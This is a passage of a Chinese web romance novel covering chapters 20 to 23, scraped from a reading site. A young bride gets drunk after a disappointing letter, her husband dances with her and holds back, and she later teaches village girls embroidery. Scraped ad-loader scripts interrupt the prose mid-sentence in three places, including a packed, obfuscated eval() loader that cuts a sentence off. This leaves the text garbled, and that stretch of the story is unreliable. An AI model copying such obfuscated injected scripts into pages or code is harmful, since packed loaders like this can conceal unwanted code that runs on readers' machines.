20. 醉酒 陈君迁盯着信封上“沈京墨”三个大字。 他虽不识字,却也觉得这字写得分外漂亮,走笔龙蛇游刃有余,单看这手字,就能想象写信那人是何等光风霁月。 沉默半晌,他捏着信举到眼前来,手腕一偏,递向谢遇欢。 “得嘞,保证看完给你恢复如初。” 谢遇欢欢喜地把扇子往胳膊底下一夹,抬手来拿信。 可他指尖堪堪挨到信封时,陈君迁却反悔了,将信收回去叠了两下,放进了怀里。 谢遇欢手顿在半空,失望地撇了撇嘴。 “你见过这个傅修远?”陈君迁正色道。 “这倒不曾……”谢遇欢侧目一瞥陈君迁故作不在意的表情,“不过在上京时确有耳闻。听说傅公子三岁七步成诗,五岁一画难求,十岁舌战群儒以至偌大上京城竟无一人能与他辩上三轮。而且傅公子英俊潇洒,一表人才,就是潘安再世,只怕也比不上他分毫。” 陈君迁听着谢遇欢眉飞色舞地讲述,脸色越来越黑。 “怎么样,是不是很有危机感?”谢遇欢终于说完之后,拍了拍他的肩,“要不我还是替你看一眼吧,万一是什么倾诉相思之情的信,你就当没收到嘛。” 陈君迁白了他一眼,终究还是没把信交给他,起身走了。 * 当天下值到家时,沈京墨不在屋里。 陈君迁在东屋转了一圈没找到人,心道以她的性子也不像是会去谁家做客的,加上今日提及了萧景垣,他心中一紧,当即便喊陈川柏过来。 后院门打开,出来的却是沈京墨。 “大……郎君,小叔在收药,可是有急事找他?” 她不想无事可做,正好今天陈大和陈川柏采了些新药回来需要晾晒,活儿不累,她便一起来帮忙了。 见到沈京墨,陈君迁这才放下心来,摆摆手向她走去:“不找他,找你。” 说着,他将怀中的信交给她:“说是上京来的。” 听见上京二字,沈京墨的瞳孔猛地一缩。 她在来永宁县的路上给傅修远写过一封信,告知他自己的去向,也拜托他务必要将沈家的结局告诉她。只是当时她还不知道夫家在何处,只好让他将信送往永宁县衙,她会给衙役塞些银子,帮她注意着信来。 原以为永宁县偏僻,少有人来,这信得要些时日才能到,没想到他竟然通过官驿来送私信,半月左右刚好送达。 沈京墨的手上沾着些药材上的泥土和潮气,她也顾不得许多,在裙上擦擦手,急急接过信去。 陈君迁眼神略微一暗——她爱干净,这几身衣裳平日爱惜得紧,今日竟用做巾子擦手,而后才肯将信拿走。 傅、修、远。 他倒要看看这信里写的是什么。 沈京墨接过信去正要拆,却感受到陈君迁过分殷切的目光,正紧紧凝聚在信封和自己因为激动而有些颤抖的手上。 她的动作突然就僵住了。 眼眸上抬,她对上陈君迁的视线,默默把信放了下去。 她也说不清原因,但当着他的面拆傅修远的信,总感觉有些说不上来的别扭。 陈君迁眼见她把手放下,不好的预感油然而生,忙问:“不看看么?” “……后院还有些药材需要铺开,我帮小叔做完再看。” 沈京墨说完转身就走。 陈君迁立刻跟上她的脚步:“我也去。” 她停顿了一下,回头看看他,欲言又止,最后还是由着他去了。 后院的空地不大,陈川柏已经铺了小半座院子。陈君迁亦步亦趋地跟在沈京墨身后铺药,她总觉得他今天的眼神很奇怪,似乎对她那封信上心得有些过头了。 等收拾好了后院,沈京墨回屋,陈君迁依然跟着。 她脚步匆匆,手伸到袖中紧紧攥着那封信,走到了屋门口,才转过身来小声提醒他:“大人昨晚说,今日要在茅房里修个放蜡烛的烛台来着……” 陈君迁一咽。 他确实说过,而且这事也的确很重要。 但是傅修远的信也很重要! 他在烛台和信中摇摆了半晌,终于还是往后退了一步。 就算说几句文绉绉的情话又怎样?盖好茅房让她起夜不害怕才是要紧的大事!他肩不能扛手不能提的傅修远会吗? 沈京墨看着陈君迁拿上工具去干活,这才进了屋点上蜡烛,手忙脚乱地将信拆了,细细读了起来。 不到两刻钟的时间,陈君迁就在茅房墙壁上砌了一个巴掌大的平台,用来放置蜡烛或其他易掉的小玩意儿,然后将工具一收,进了东屋。 信纸摊开摆在桌上,沈京墨坐在桌前痴痴望着上面的字出神。 陈君迁从她的表情瞧不出她的心情,于是坐到她对面,试探着问:“信里说什么了?不开心?” 沈京墨像是刚刚意识到他来了一样,慌忙将信叠起来,抬手擦了擦眼角的泪,勉为其难地露出一丝笑意来摇了摇头。 “是我一位京中故人的信,说圣上开恩,将我母家的杀头之罪改为全族流放,算来已经启程三五日了。” 陈君迁一怔:“那……这是好事啊?甭管去哪,至少一家人都活下来了。” 沈京墨眼眶微红地看着他,抿唇笑了一下。 家人活着,她当然高兴。可看完了这封信,她却又高兴不起来。 她盼了十多天他的回音,却没想到信里只有寥寥数语,语气生疏,言简意赅,除了她所托之事外,竟连一句多余的问候都吝啬于对她说。 但若只是如此,她尚不至于如此难过。 沈京墨怎么也想不到,他会在信末,祝她与夫君夫妻恩爱,白头偕老! 他怎么能这样? 她为何嫁给陈君迁,他不可能不知道!虽然她也明白,自己此生已经注定与他无缘,但青梅竹马的情分仍在,她以为就算她嫁给了别人,他至少…… 至少不要这么快接受。 还有他的祝福,她统统不想要! 但这些话她没有告诉陈君迁。她虽感到万分难过、委屈,但都与他无关,何况能嫁给他,已经是她不幸中的万幸。 她只是……只是有些伤心罢了。 陈君迁不知道她心中所想,但也看得出她心情低落。 他想了一会儿,转身走了。 沈京墨不知他要去做什么,抬头看了一眼,眼里又蓄起了泪。 但他很快就回来了,手里还拿着一小坛酒。 “咚”的一声,酒坛子和两只碗被他豪爽地放到桌上,动静把沈京墨的泪硬生生吓了回去。 她抬起眼来,被泪水打湿了的杏眸写满了不知所措。 酒是成亲那日剩下的,陈君迁倒了两碗,一碗推到她面前:“既然是好消息,就该庆祝庆祝。” 沈京墨看着这碗酒。 她不善饮酒,虽然上京的贵女们都爱喝上几杯各种花酿的酒,她却从来不肯沾—— 少时她不知酒的厉害,偷偷尝过一勺不算烈的桂花酿,虽不觉得多好喝,却还是在好姐妹的撺掇之下又喝了一大杯,结果不一会儿便醉得满口胡话、走也走不稳,险些一头栽进不放心来寻她的傅修远怀中。 那是她第一次喝酒。酒醒后,被还是少年的傅修远板着脸轻轻敲了下额头。自那之后她便再也不喝酒了。 但如今看着这一碗略有些浑浊的酒,她突然有些口渴。 陈君迁说得对,父母健在,虽然流放路途遥远又艰险,但至少还活着,活着,就有盼头,就总有重逢的机会。 这是好事,天大的好事,比她的情爱重要得多的好事! 她该喝! 沈京墨深吸一口气,端起酒碗来,猛地灌了下去。 “哎!”陈君迁想要制止却为时已晚,一大碗灼热的烈酒就这样被她一口气喝了下去。 “嘭”,沈京墨将酒碗摔在桌上,弯下腰去剧烈地咳嗽了起来。 喉咙像是被火烧着、被刀刮过,又热又痛。她咳得满脸是泪。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 酒还是一如既往的难喝。 陈君迁急忙来拍她的背,直到她不再咳了,才担心地坐回去,却把她的酒碗撤走了。 “我还想喝。”她抓住酒碗另一端与他僵持。 “……这酒很辣,你这样喝会喝坏了身子。” 许是酒劲上头,沈京墨双颊通红,胆子也大了许多,抓着酒碗不放:“我高兴,想喝!” 陈君迁这下也看出来了,她心里肯定憋了什么不开心的事没告诉他,却想借酒发泄。 他拿酒的手一顿,拗不过她,又给她倒了一碗底的酒。 沈京墨也不介意酒满不满,端起来就要喝,却被陈君迁一掌扣住了碗口。 她抢了几下没抢过来,抬眼瞪他。 头一回见她这样生动的表情,却是在这种时候,陈君迁哭笑不得,将酒坛放到了地上远离她。 “信里还说什么了,怎么委屈成这样?” “没委屈……我爹我娘管家翠蝉都活着,我高兴!”她噙着泪笑起来,仿佛这样就真的不难过了。 陈君迁见她不肯说,轻叹一声,将酒碗一放,拉着她的手站了起来。 “干什么?” 他把地上的床褥踢到一边,空出一大块空地来,松开她手,摆出了一个跳舞的姿势。 “不知道上京什么样,但在我们永宁县,家里有好事,是要跳舞的。”他笨拙地跳起来,动作一点也不好看,甚至还有几分滑稽。 沈京墨起初不解地看着他乱跳,也禁不住被他逗得破涕为笑,试图拉住他叫他别跳了。 陈君迁却一侧身躲过她的手,围着她转起圈来。 “笑话我?我跳得不好看?不可能!以前谁家要做法事,跳大神的都是我!行家里手!” 他说完,“不服气”地拉着沈京墨一起跳了起来。 沈京墨一开始不肯,但架不住他跳得太开心了,她也忍不住学着他杂乱无章的舞步一起跳。 到后来,她竟跳得停不下来了。 素白的衣裙旋开如一朵盛开的花,她边跳边笑,撒开了陈君迁的手,独自在屋中飞快地旋转起舞。 陈君迁后退几步,将空间留给她,双手给她打着拍子,微微松了口气后也看着她笑了起来。 可他刚一放松,就听沈京墨一声惊呼,不知为何失去平衡,朝着他这边跌了下来! “小心!” 陈君迁扑上前去,一把揽住她纤细的腰,却被她绊住了脚,抱着她一道向后摔去,两人叠在一起跌到了床上。 她的床铺得很软,带着与她身上一模一样的淡淡香气。 陈君迁缓了一瞬,忙低下头去看她:“受伤了么?” 沈京墨像是受了惊吓,趴在他胸口喘/息了一会儿,一下子笑了出来,边笑边摇头,还把头抵在他颈窝一蹭一蹭的,声音带着醉意:“好玩儿!” 她柔软的碎发摩挲着他的下颌和脖颈,陈君迁呼吸间满是她清浅的发香。 见她没伤着,他总算放下心来,可马上就又意识到大事不妙。 她轻盈柔软的身子紧贴着他,随着脑袋的磨蹭,整个身子都在一下下晃动。 ……他是个男人! 意识到异样,陈君迁一把按住了她动个不停的纤纤细腰,声音微哑:“……下去吧。” 听见这三个字,沈京墨猛地止住了动作,抬起头来,一双清凌凌的醉眼盯着他,嘴一扁,很快便蓄起了泪,像是受了天大的委屈。 陈君迁只得狠狠咬牙:“……听话……” 下一刻,沈京墨的手却一把搂住了他的脖子,整个人将他抱得更紧了。 陈君迁:! 他按在她腰后的手难以自制地轻轻摩挲起来,另一只手摸着她的下巴让她抬头看他。 她是他明媒正娶的妻,是他肖想了三年的梦中人。 他强绷着最后一丝克制与理智,粗粝的拇指轻柔地摩挲着她红润的唇,喉结艰难滚动,哑声警告她。 “再不下去的话,今晚可就下不去了。” 21. 好奇 “再不下去的话,今晚可就下不去了。” 沈京墨醉意朦胧的杏眸盈满薄雾,眼神怔忪地看着他。 陈君迁炙热粗糙的指腹微微用力,划过她饱满的唇珠,落在唇角,红艳的口脂随着他指尖的碾转涂抹,在唇畔染出一道绯色的霞。 唇被他摩挲的发痒,沈京墨下意识地抿唇躲闪,口中发出一声抗拒的咕哝,双眼困顿地半合。 听到这声嘤咛,陈君迁眸光一暗,按着她腰的手收紧,一个翻身将她压倒,身子便覆了上来。 沈京墨却是在躺到床上的那一刻,便两眼一闭小脸一歪,醉得睡了过去。 他动作一顿,悬在她身上僵持片刻,略有不甘地苦笑一声,坐回到了床边上,腰背挺得笔直,回过头垂眸看着她。 半晌,总算压下去了。 他这才敢有所动作,轻轻托起她的脖颈放在枕上,拉过被子盖好。 她歪着头,几缕碎发贴在微微潮湿的鬓角。 陈君迁静静看了她几眼,指尖小心翼翼拨开碎发,虚虚捧着她的脸摆正过来。 他的手很大,如此捧着她巴掌大的小脸,拇指便刚好落在她唇畔。 她的唇瓣柔软粉嫩,形如仰月。他只是看着看着,便出了神。 半晌,他俯下身去,连呼吸都变得缓慢。 指腹轻点在她唇角,他隔着自己的手指,在她唇上落下了温柔如春雨的一记轻吻。 * 沈京墨这一夜睡得很香,过去半个月里时常出现在她梦里的沈氏全族问斩的可怖场面,也消散如云烟。 这大概是她离家后睡得最舒服的一觉。 醒来时,天早就大亮,屋里还残留着昨夜烈酒的气息,沈京墨心情舒爽地伸展了下腰肢,伸到一半,突然惊恐地停住了。 她昨夜喝了酒,按照她那酒品一定会做出什么丢脸的事! 她怔怔地回想着,猛地一把抱住了被子,转头去看地上。 陈君迁不在,地上的床褥像是被谁踢了一脚,乱七八糟地堆在墙根,丝毫没有人睡过的痕迹。 她昨晚…… 她昨晚一口烈酒把自己喝蒙了,之后拉着陈君迁跳了半夜的舞,再之后…… 再之后她似乎是把他当做了傅修远,怕她抛弃她似的,缠着他不肯撒手,还…… 模糊的画面如同一个个无法串连的片段在她脑海中回放,沈京墨的脸腾地烧了起来。 她震惊地瞪大双眼,随即掀开被子低头去瞧——还好,衣裳还完好,除了衣摆被揉得有些皱巴巴的,倒也算是齐整。 沈京墨稍稍放下心来,将被子放下,盯着窗外的日光,脸上的温度久久没能降下来。 还好她昨晚睡得快,不然若是趁着酒劲对陈大人做些什么,岂不是既辜负了他收留她的一片好意,又对不住他那位善良宽容的心上人。 那样的话,他一定会恼她的。 幸好她没有犯下大错。回想起昨晚发生的点点滴滴,沈京墨总算松了口气。 又躺了一会儿,她起了身。 桌上的酒坛和酒碗早都被陈君迁收拾过了,换上了早饭,只有那封信还原封不动地放着。 沈京墨定定垂眸,指尖慢慢抚过那无比熟悉的漂亮字体,眸光一寸寸暗了下去,随即将信叠起,连同信封一起塞进了妆奁底下,锁了起来。 用过早饭,她打算去问陈川柏有什么她能帮忙做的,比如晒晒药材,收拾屋子。 昨天她还帮着喂了鸡、摘了菜。虽然二红瞧见她挎着菜篮靠近鸡窝,又扑扇着翅膀冲了上来,腾地跃上篮子叨了好大一把菜叶,最后还是陈川柏翻进鸡窝里去,从二红嘴里抢回了两大片菜叶才算完事。 刚出门去,小院的门就被人敲响了。 沈京墨抬头望去,从矮矮的院墙上露出一张熟悉的笑脸,见她在家,高兴地朝她挥了挥手,接着推门走了进来。 “陈家娘子!”柳翠仪笑吟吟地小跑到沈京墨跟前,亲昵地挽上她的手臂,“你今儿可有空?” 上次打龙王时就是她来找的自己,沈京墨对这个健谈又开朗的姑娘颇有好感,点点头:“有事找我?” “嗯嗯!”柳翠仪拉上她往外走,“婆母说见过你改婚服,针脚又细又漂亮。我绣婚服绣得头疼,姐姐帮我看看?” 见她将称呼从“陈家娘子”改为了“姐姐”,沈京墨也不由觉得亲切,与陈川柏说了一声,便与柳翠仪一道往柳家去了。 柳家离陈家不远,二人一路有说有笑,当然大多数时候是柳翠仪说,沈京墨笑。 柳家院中,皮肤黝黑的少年郎正挥汗如雨,手起斧落,将桩上的木头一劈两半,丢到背后摞成小山的柴火堆里。 见柳翠仪回来,少年仰起汗津津的脸,朝她憨厚地笑起来,收到她的笑容后,才对她身侧的沈京墨打了个招呼,唤了声“陈家娘子”,随后又拿过一块木头劈了起来。 沈京墨还没见过林陌然,但也猜得到他的身份,礼貌地打过招呼后,柳翠仪已经掀起了门帘等她进屋。 “姐姐随便坐,我去拿些零嘴来。” 柳家的屋子与陈家差不多大,家具摆设更多些,款式也更新,柜子桌子都干净得反光。 沈京墨有些拘谨地等着柳翠仪回来,才与她一道在桌前坐下。 柳翠仪给她倒了杯水,又摆上一碟子白玉似的糕点让她尝。 那糕点切得四四方方,每块约有拇指大小,看上去莹白绵软,面上洒着一层碎花瓣。 盛情难却,沈京墨捻起一块放入口中,先是一股花香扑鼻,一口咬下去,酸甜可口,带着一种她从未吃过的水果味道,解腻又开胃。 她眼前一亮,忙问柳翠仪这是什么糕点。 柳翠仪笑嘻嘻地也吃了一块:“这个点心外面没得卖,是林陌然自己琢磨的,还没起名字。姐姐喜欢的话,我让他把做法也给你!” 沈京墨笑着应下。两人边吃边聊,等到两杯水下肚,柳翠仪才拉过凳子坐到沈京墨旁边,把婚服拿了出来。 她的婚服也不完全是自己缝制,是永宁县里买来的成衣,只是上面空空一片没有绣图,细看倒是有些针眼的痕迹,圆圆一团,不大好看。 沈京墨指着那团针眼:“你原来打算绣个什么?” “老鹰!他喜欢鸟,鸟里鹰最凶猛,我想给他绣个鹰,但是我娘说绣得像只没毛鸡,我一生气就给拆了……” 沈京墨险些笑了出来,但紧抿的嘴唇还是被柳翠仪瞧见了。她把婚服一推,小嘴撅了起来:“姐姐别笑我啦。还剩几天就要成亲了,他总问我要看婚服,我都没敢让他瞧过,好姐姐快帮帮我吧。” 沈京墨连声安慰着她,将婚服展开打量了一番款式,又把针眼的位置记了下来,很快便有了想法。 “要补救也不难,我重新给你画个图样,再给你绣几针打个样,你照着绣就是了。” 柳翠仪家没有纸笔,沈京墨只好在那婚服里侧标记上关键之处,又手指沾水在桌 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 上画了一遍图样,再找了件旧衣裳作布绷,纠正了柳翠仪的手势针法,这一教便耗去了小半天。 柳翠仪不善女红,听得一知半解,绣上几针就要拿给她瞧瞧对错。沈京墨见她一副紧张兮兮的模样,只好接着用那旧衣裳和她一同绣起来,还放慢了速度,好让她看清楚她是如何穿针引线的。 小半天过去,柳翠仪不觉绣得头昏眼花,一针下去,竟扎进了手指。 她“啊”地一声拔出针来,血珠登时就涌了出来。 沈京墨见状,放下手中的衣裳上前查看伤势。 “还好,扎得不深,清洗一下用干净的布包起来就好了。” 柳翠仪的脸色却变得苍白,像是快要晕过去一般。 屋外的林陌然听见柳翠仪尖叫,也丢下手里的斧头跑了进来。 沈京墨见外男进屋,忙退到一边。 林陌然像是没注意到她,径直来到柳翠仪面前蹲下身去,握起她手指看了看,小声对她说着安慰的话,又帮她包扎好伤处,柳翠仪的脸色过了好一会儿才慢慢恢复了红润。 林陌然解释,柳翠仪自幼怕疼,更不能见血,若是方才的反应吓着了沈京墨,他代她道歉,而后又盯着柳翠仪喝下一杯水缓神,他才离去。 见柳翠仪怕成这样,沈京墨将她腿上的婚服拿走叠起来,把针线妥善放好,拉过她的手,岔开话题转移她的注意。 柳翠仪被两个人接连安慰,情绪渐渐稳定下来,可低头瞧见手上的白布,仍心有余悸。 过了一会儿,她像是想到什么似的,脸色一红,附在沈京墨耳边低声问她:“姐姐,我听人说洞房时女子会疼、会流血,是真的很疼么?” 沈京墨被她一问,脸色也红了起来。 她也听上京的好姐妹说过这事,但她和陈君迁毕竟是假夫妻,从未行过那事,自然不会知道是否真的会疼。 但见柳翠仪那副惶恐又忧虑的表情,她又怕吓着她,想了一想,微微摇了摇头:“不大疼,应该能忍。” “可我娘说,有些人会很疼很疼,甚至第二天都难以行走。我光是这么一想,就好怕……” 柳翠仪的小脸上写满了委屈与害怕,就连看向婚服的眼神都多了几分抗拒。 沈京墨见状,咬了咬唇,尽量回想着好姐妹们与她说过的那些羞人话,安慰她道:“有些人会疼,有些人不会疼,你若当真难以忍受,便告诉他,看他那样疼你,定不会让你难受的。” 柳翠仪的脸色这才好看了些,但还是惴惴不安。 默了一会儿,她抬眼问沈京墨:“那……姐姐洞房时,疼么?疼的话,是怎么忍住的?我问我娘她也没说什么。我……不想他也难受。” 沈京墨彻底哑然。 这种事,若非十分亲近的姐妹,是绝不敢随便问的,就连她那些好姐妹说起时,都要藏着掖着,还被她嫌弃过好几次。 可柳翠仪问得诚恳,眼下又没旁人解围,沈京墨支支吾吾半晌,还是秉承着为他俩好的想法,装作过来人的样子安抚她:“别想那么多。你瞧我,也没碍着走路不是?你想着可怕,其实不疼不痒,没什么感觉,嗯……就如这针扎一样,只一小会儿就好了。” 柳翠仪听着她略显夸张的安慰,有些意外地眨了眨眼,像是听见了什么不可思议的秘密一般,半晌,小声地“喔”了一声。 沈京墨当她是放下心了,便继续去绣起东西来,却没瞧见柳翠仪不时瞟向她的眼神中,竟多了一丝深深的同情。 22. 枸杞 沈京墨在柳家呆了一天。晌午她要走,但经不住柳翠仪和其母的热情挽留,只好留下一道用了饭,又陪她绣了一下午的婚服。 到家时,陈君迁已经下值许久,赤着上身、衣服卷在腰上,趁着天亮在盖新房。 见她回来了,他放下手里的活,给她端去晚饭,又飞快地站在院里冲了个澡洗去一身的汗,回屋里陪她一起用饭——自打两人宿在一屋后,他就不和陈大他们一起吃饭了。 昨晚之后,沈京墨直到现在才见到他,想起自己醉酒的模样,窘迫地只低头吃饭不看他。 陈君迁却神色自若,给她夹了一筷子菜:“新鲜摘的,我爹宝贝得紧,赶紧尝尝。” 沈京墨看了眼碗里鲜嫩的青菜,悄悄抬眸打量了他一眼,见他和往常差不多,没有窘迫,也没有恼她的意思,才暗暗松了口气,小口吃起菜来。 她紧绷的肩膀放松下来,陈君迁才侧目瞥她一眼,目光触及她沾着菜汁盈盈泛亮的唇时,握筷的食指不由得抽动了一下。 眼前浮现昨夜里隔着手指的亲吻,陈君迁夹菜的动作慢了一拍,随即严肃地咳了一声阻止自己胡思乱想。 沈京墨听见这一声,以为他是有话对她说,便抬头瞧他。 陈君迁还当是自己想入非非太过明显,被她察觉到了,也转头去看她。 两人对视一眼,都从对方眼中看到了一丝疑惑不解。 短暂的沉默过后,陈君迁先清了清嗓子,又为她夹了些菜,转移话题,问她今天与柳翠仪做了些什么。 既然是闲聊,沈京墨的心情便放松了许多,但食不言寝不语,她将最后几口菜吃完,才与他说起话来。 今日她心情极好,语气也带着小小的雀跃与兴奋,说罢二人绣婚服的事,又提起了林陌然做给柳翠仪的糕点。 她说得兴起,陈君迁也笑着听。听到那糕点时,他也来了兴趣,让她细细形容一番。 沈京墨回忆:“嗯……口感倒是常见,比蒸糕稍软些,色泽雪白。味道却奇特,甘中泛酸,香气逼人……啊!里面像是有果肉,乳白清透,肉软而弹,也不知是什么果子。翠仪说能帮我问做法。” 听她这样形容,陈君迁沉吟片刻,大概猜到她指的是什么,眼珠一转,神秘兮兮地冲她笑道:“知道了,明儿我早些回来,你在家等我。” “做什么?” 他却偏要卖关子:“明儿你就知道了。” 说完,他快速扒拉两口饭,端着碗碟去洗。 沈京墨想了一想,他八成是知道那种果子是什么,明儿会给她带些回来做糕点。 这么一想,她不禁有些期待。但再一想,又觉得自己这样眼巴巴地馋糕点,实在像个没出息的小馋猫。 她才不是重口腹之欲的那种人! 沈京墨用力抿起唇来,试图把被回忆勾起来的馋虫吞回肚子里,可她越这么想,那口齿生津的酸甜清香便越如在面前。 如此反复纠结了半天,她捧着微红的脸,觉得人还是该对自己坦诚些。 她就是想吃,就是期待!而且直到明天他回来之前,她都会一直期待! 反正只要她不说,谁会知道堂堂上京来的见多识广的大小姐,会对一块小小的糕点念念不忘? 说服自己后,沈京墨这一整夜唇角都带着笑。直到第二天陈君迁去上值,她都是眉眼含笑地目送他离开的。 * 白天,柳翠仪照旧喊沈京墨一起去绣婚服。 沈京墨随她往外走去,走了两步,才发现不是去柳家的路,便问她今儿要去哪里。 “去河边老树下!姐姐你不知道,昨儿我给村里几个姑娘看了你教我绣的针脚,她们都羡慕得很,想让你也教教她们!”柳翠仪与有荣焉,小脸红扑扑的,“正好还有些人没见过你呢,我就替你答应她们了……你不生我气吧?” 沈京墨闻言一怔,霎时便想起之前与林婶她们一起做活时,被那年轻妇人指着鼻子斥责的情形,脚步顿时就僵住了。 见她微微变了神色,柳翠仪忙拽着她衣袖道歉:“姐姐你不开心了?那……那我们不去了!我让她们散了,我们还上我家去做好不好?” 柳翠仪虽不明原因,却觉得自己做错了事,满脸的歉疚。 沈京墨瞧着她的样子,轻轻摇摇头,将上次的事讲给了她听,那次她不在,林婶大概也不会把这种事讲给她听。 了解了事情的来龙去脉,柳翠仪急得通红的小脸才露出一丝笑意来,拍着她的手担保:“姐姐放心,那个唐家娘子我知道,惯就刻薄,我没喊她来!村里年轻的姑娘都不和她往来,也是婆母大意才让你们撞上了。” 听见那年轻妇人不在场,沈京墨才终于松了口气,与柳翠仪一道慢悠悠往饮马河边走。 等她们到了,老树下早就围聚了五六个年轻姑娘,手里拿着婚服的、绣绷的,正在叽叽喳喳地边绣边聊,见到沈京墨来了,纷纷起身给她和柳翠仪让出位置来。 树下是柔软的草地,姑娘们都席地而坐,沈京墨也没有拿乔,在柳翠仪身边坐了下来。 姑娘们都盯着沈京墨看,一双双清澈明亮的眼睛里写满了好奇和艳羡。 她今日未施粉黛,但天生丽质,坐在人堆里,还是最出众最惹眼的那一个。 这些个姑娘沈京墨都不曾见过,柳翠仪便一个个给她介绍,这个是王家的大姑娘,正在制备婚服,那个是钱家的三姑娘,喜欢刺绣。 沈京墨认真听着,挨个和姑娘们寒暄问候,姑娘们也神采奕奕地盯着她。幸好她们大多会说官话,虽有乡音,但沈京墨也能听得懂。 好不容易介绍完毕,还没等柳翠仪再说上几句什么,沈京墨右手边的王家姑娘便迫不及待地拿过婚服来,请沈京墨给她好好掌掌眼、改改图样和绣法。 “哎!凭什么你先来!”有姑娘不乐意了,笑着打趣她。 “就是就是,明明是我头一个来的,要排队也是我先来!” “谁和你们排队了?我挨陈家娘子最近,就是我先来!谁让陈家娘子看上我这儿,乐意挨着我坐呢?” 姑娘们关系好,一个两个争抢起来,你推一下我搡一下,都“咯咯”地笑。 沈京墨与众人不熟,又成了众人哄抢的“宝贝疙瘩”,一时不知说些什么,坐在那里尴尬地微笑。 一边的柳翠仪见状,忙表现出“组局者”该有的风度,把轰笑一团的姑娘们按下来,提议道:“哎哎!都别闹了啊!你们这样乱哄哄的,下次我不带沈姐姐来了。” 姑娘们这才静下来,纷纷含笑坐回原位。 柳翠仪满意地点点头:“沈姐姐的绣工你们见过了,整个永宁县都找不出第二个这么好看的,你们可得好好学着。但是!不许累着沈姐姐,也不许抢不许挤着沈姐姐,要按顺序来。” “按什么顺序?”有姑娘笑问。 “当然是抓阄啦!”柳翠仪拿起自己的背篓,把里面的针线和婚服放进身边一个姑娘怀里,又将背篓递到每个人面前,“每人把自己的发带啊手串啊放进来一个,沈姐姐抓到谁就先看谁的,公平公正,谁也不许乱。” “这个法子好!” 葡萄村的姑娘们都不扭捏,一个个把首饰摘下来放进背篓里。柳翠仪一一收好后,放到了沈京墨面前。 沈京墨也觉得有趣,伸进手去抽出了一条发绳,坐在她对面的圆脸姑娘高兴地站起身来,绕过其他唉声叹气故作夸张的姑娘,跑到沈京墨身边,认真地向她讨教起来。 其他姑娘便各自聊天,或者低头先绣着,耐心等待沈京墨抽到自己。 等到沈京墨指点完所有人,大家又各自做了一会儿,才一个个眼也酸手也酸地放下针线,聚拢成一小圈聊起了姑娘间的话题。 沈京墨与她们刚刚认识,不知聊些什么,就安静地倾听。 聊着聊着,也不知是谁先讲话题拐到了唐家娘子和陈君迁身上。 听见他的名字,沈京墨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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他的确有一个放在心上多年的姑娘,这她是知道的,但她却不知他曾许下过此生非卿不娶的豪言壮语,如今被人一问,她也不好撒谎,否则将来和离后他另娶,又要费一番力气解释。 见她面色有些难看,其余几个姑娘都明白了,暗暗扯了扯小姑娘的裙角,眼神示意她慎言——三年前沈京墨还是上京的大小姐,来都没来过这里,怎么可能是陈君迁画里的人呢? 柳翠仪反应是最快的,哈哈一笑,提陈君迁辩解起来:“嗨呀,什么画不画的,咱们光是听说,又没人见过!说不定就是小陈大人拒绝那些人的借口罢了,毕竟小陈大人人好心也善,不是帮这个就是帮那个的,要是大家都以身相许那还得了?” “就是就是!而且沈姐姐这么漂亮,就跟画里的人走下来了似的,啊不,谁的画能画这么漂亮啊?我看和小陈大人特别般配!找不着比他们更登对的了,对吧?” 姑娘们纷纷应和起来。 沈京墨被她们这一通夸,羞涩地理了理鬓角碎发,没有再言语。 姑娘们也就聪明地换了话题,从刺绣到别的家务事,沈京墨也慢慢参与了进来。 聊到最后,大家都饥肠辘辘准备回家吃饭,临了还不忘邀请沈京墨,过两天山上有一茬野菜长好了,大家一起去挖来吃。 沈京墨觉得有趣,便痛快地答应了。 一群姑娘三三两两往回村走。 柳翠仪和沈京墨走在最后,快到陈家小院时,柳翠仪突然想起了什么,拽住沈京墨,悄悄摸摸从背篓里拿出一个小布包塞到她手中。 “这是何物?” 柳翠仪看了看前面的姑娘们,挪挪身子挡住她们的视线,才把布包打开一角。 沈京墨低头一瞧:“枸杞?送我的?” “嗯嗯,”柳翠仪神秘地点点头,颇为认真地告诉她,“我娘说,每天取一把,给小陈大人泡水喝。” 沈京墨不解,但想了想,许是他最近县衙事务繁忙,需要枸杞明目? 这么一想,便收下了柳翠仪的好意,还诚恳地对她道了几声谢。 柳翠仪看她如此,暗暗叹了口气。 正巧这时,早早下值的陈君迁听到院外的动静,到门口来迎她。 见他来了,柳翠仪略有些尴尬地打了个招呼,便与沈京墨道别。 走出几步,还不忘回头看她,指了指布包,又用口型叮嘱道:“别——忘——了——” 看来这里的人都很关心他。 沈京墨这样想着,不由得感动,更加坚定地朝她点了点头。 23. 荔枝 柳翠仪走后,陈君迁迫不及待地迎着沈京墨而去,接过她手中的布包放回院里。 沈京墨一见着他,就想起昨晚他提过那种神秘水果。 她已经期待了一天一夜,见他往回走,便紧跟在了他身后,边走边探头往院里、厨房,和东屋瞧去。 却不想陈君迁只是将那包枸杞放在桌上便出来了。 沈京墨一愣,又四下寻了几眼,想要问他,却又觉得这样嘴馋很是失礼,不敢去问。 万一是她会错意了呢?毕竟他并未说过会给她带那种水果回来。 如此一想,她心中不禁有些微微的失望,脑袋也不由得垂了下去。 陈君迁刚走出东屋,打眼便瞧见了她似有几分委屈和失落的表情:“今天不开心?” 他问得关切,沈京墨只得抬起头来朝他笑了笑:“今日与翠仪她们一同探讨女红,很有趣。” “那就好,”他走到她身侧,大手一捞,握住她细若无骨的手腕,迈步往院外走去,“走吧。” 她好奇:“去做什么?” “比绣花还有意思的事儿。” 陈君迁并没有带她走太远,虽然一路七拐八拐,但并没有走出葡萄村。 走了约莫一刻钟,天色已然转暗。转过一个小土坡,他突然指着前方低声对她道:“看——” 沈京墨顺势望去。 天色灰蒙蒙的,她的视线也变得模糊,只见前面不远处,有一座孤零零的小院,与同村的其他农舍相距有些距离,院墙高,院子却小得多,似乎只有一间正屋和一间小厨房,前后都没有菜地。 她不解地转头看向陈君迁:“大人是要去拜访那家主人么?” 陈君迁听了一笑,摇摇头,弯下腰在她耳边轻声叮嘱:“等下你跟在我身后,别出声,我让你跑,就马上跑,到这个土坡后面等我。” 沈京墨一听他这样的嘱咐,顿时心中一慌,后撤半步警惕地问他:“大人要做什么?” 